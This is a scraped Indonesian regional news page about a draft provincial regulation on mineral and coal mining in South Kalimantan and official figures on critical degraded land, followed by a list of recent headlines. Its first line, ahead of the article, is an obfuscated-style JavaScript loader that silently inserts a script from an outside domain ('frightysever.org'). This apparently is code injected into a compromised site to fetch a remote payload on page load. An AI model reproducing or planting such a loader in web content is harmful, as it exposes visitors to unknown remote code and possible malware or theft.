(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Perlu Payung Hukum untuk Tata Pertambangan di Kalsel


BANJARMASIN, Pertambangan di Kalsel diharapkan ke depannya akan lebih tertata untuk lebih menjaga pelestarian lingkungan. Karena diharapkan adanya payung hukum yang mengatur secara komprehensif masalah tersebut.

Hal ini diharapkan oleh Sekretaris Komisi III Bidang Pembangunan dan Infrastruktur DPRD Kalsel H Riswandi SIP.  “Sebagai payung hukum dalam upaya menata pertambangan yang lebih baik, kami tidak buru-buru membahas Raperda tentang Mineral dan Batu Bara di Kalsel,” kata Riswandi yang juga Ketua Panitia Khusus (Pansus) Raperda tersebut.

Anggota DPRD Kalsel tiga periode itu mengatakan, pembahasan Raperda tentang Mineral dan Batu Bara tersebut cukup alot, karena tidak ingin asal-asalan, sehingga hasilnya pun ketika menjadi Perda relatif memuaskan atau mudah mengaplikasikan. “Pembahasan Raperda tersebut sudah memasuki materi atau pasal per pasal. Tetapi baru mencapai sekitar 50 persen dan masih berlanjut,” lanjutnya dilansir Antaranews.com.

“Semoga pembahasan Raperda tentang Mineral dan Batu Bara yang merupakan program pembentukan  Perda Kalsel Tahun 2018 tersebut dapat kita selesaikan segera,” katanya.

Pada kesempatan terpisah, Kepala Dinas Energi dan Sumber Daya Mineral (ESDM) Kalsel Isharwanto menyatakan harapan serupa dengan wakil rakyat provinsi tersebut dan sebagaimana peraturan perundangan-undangan yang berlaku.

“Salah satu ketentuan terbaru mengenai pembatasan luasan bagi pemegang Izin Usaha Pertambangan (IUP) dan sistem lelang terhadap usaha skala besar atau mencapai ribuan hektare,” tuturnya.

Dari semua Kabupaten/kota di Kalsel  sepuluh di antaranya memiliki tambang batu bara yang cukup potensial, namun hanya satu yang tidak terdapat pertambangan batubara yaitu Kabupaten Hulu Sungai Tengah (HST).

Kecuali itu, daerah yang belum terdeteksi apakah ada atau tidak memiliki tambang batu bara yaitu Kota Banjarmasin dan Banjarbaru, serta Kabupaten Hulu Sungai Utara (HSU). Sedangkan kabupaten di Kalsel yang terdapat Pertambangan batu bara, yaitu Kabupaten Kotabaru, Tanah Bumbu (Tanbu), Tanah Laut (Tala), Banjar, Tapin, Hulu Sungai Selatan (HSS), Balangan dan Kabupaten Tabalong.

Masifnya kegiatan pertambangan, pembukaan lahan dengan pembakaran, dan perkebunan, memicu luasan lahan kritis di Daerah Aliran Sungai (DAS) Barito, termasuk di antaranya Kalimantan Selatan. Data dari  Balai Pengelolaan Daerah Aliran Sungai dan Hutan Lindung Barito (BPDASHL Barito), menyebutkan besaran lahan kritis di Kalsel saat ini mencapai 640.709 hektare.

Petugas Pengendali Ekosistem Hutan di BPDASHL Barito, Rudi mengakui, salah satu faktor pemicu lahan kritis adalah pertambangan, perkebunan, dan pembakaran lahan. Namun demikian, suatu kawasan tidak bisa sembarang dikatakan sebagai lahan kritis.

Kata dia, penentuan kritis atau tidaknya suatu kawasan ditentukan dengan cara skoring dengan pertimbangan yang meliputi kondisi tanah, kelerengan dan curah hujan di kawasan tersebut yang beracuan pada peraturan yang sudah ditentukan. “Lahan yang terbuka bukan berarti lahan tersebut kritis,” katanya.

Disebutkan, untuk Kalsel lahan kritis terdapat hampir di seluruh kabupaten/kota, kecuali Banjarmasin. Dari luas luasan lahan kritis yang mencapai 640.709 ha tersebut, terbagi dalam lahan kritis seluas 508.174 ha dan lahan sangat kritis seluas 132.534,8 ha.

Lahan kritis terluas ditemukan di Kabupaten Tanah Bumbu dengan luas mencapai 119.753,2 ha (24,8%) dengan rincian luas lahan kritis 84.296,8 ha dan sangat kritis seluas 35.456,4 ha atau 24,8% dari luas total lahan kritis di Kalsel. Disusul kemudian oleh Kabupaten Banjar dengan luas mencapai 112.576,3 ha (24,5%) dengan rincian luas lahan kritis 95.977,8 ha, dan lahan sangat kritis sebesar 16.598,5 ha.

Dalam hal penanggulangan lahan kritis di Kalsel, BPDASHL Barito melakukan berbagai cara mulai kegiatan penanaman pohon seperti peringatan Hari Menanam Pohon Indonesia, Hutan Kota dan kegiatan penanaman lainnya. Hal ini bertujuan merangsang masyarakat agar memiliki kesadaran untuk menanam pohon.(cel/ant)

Reporter:cel/ant
Editor:Cell

Desy

Unit Cyber Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.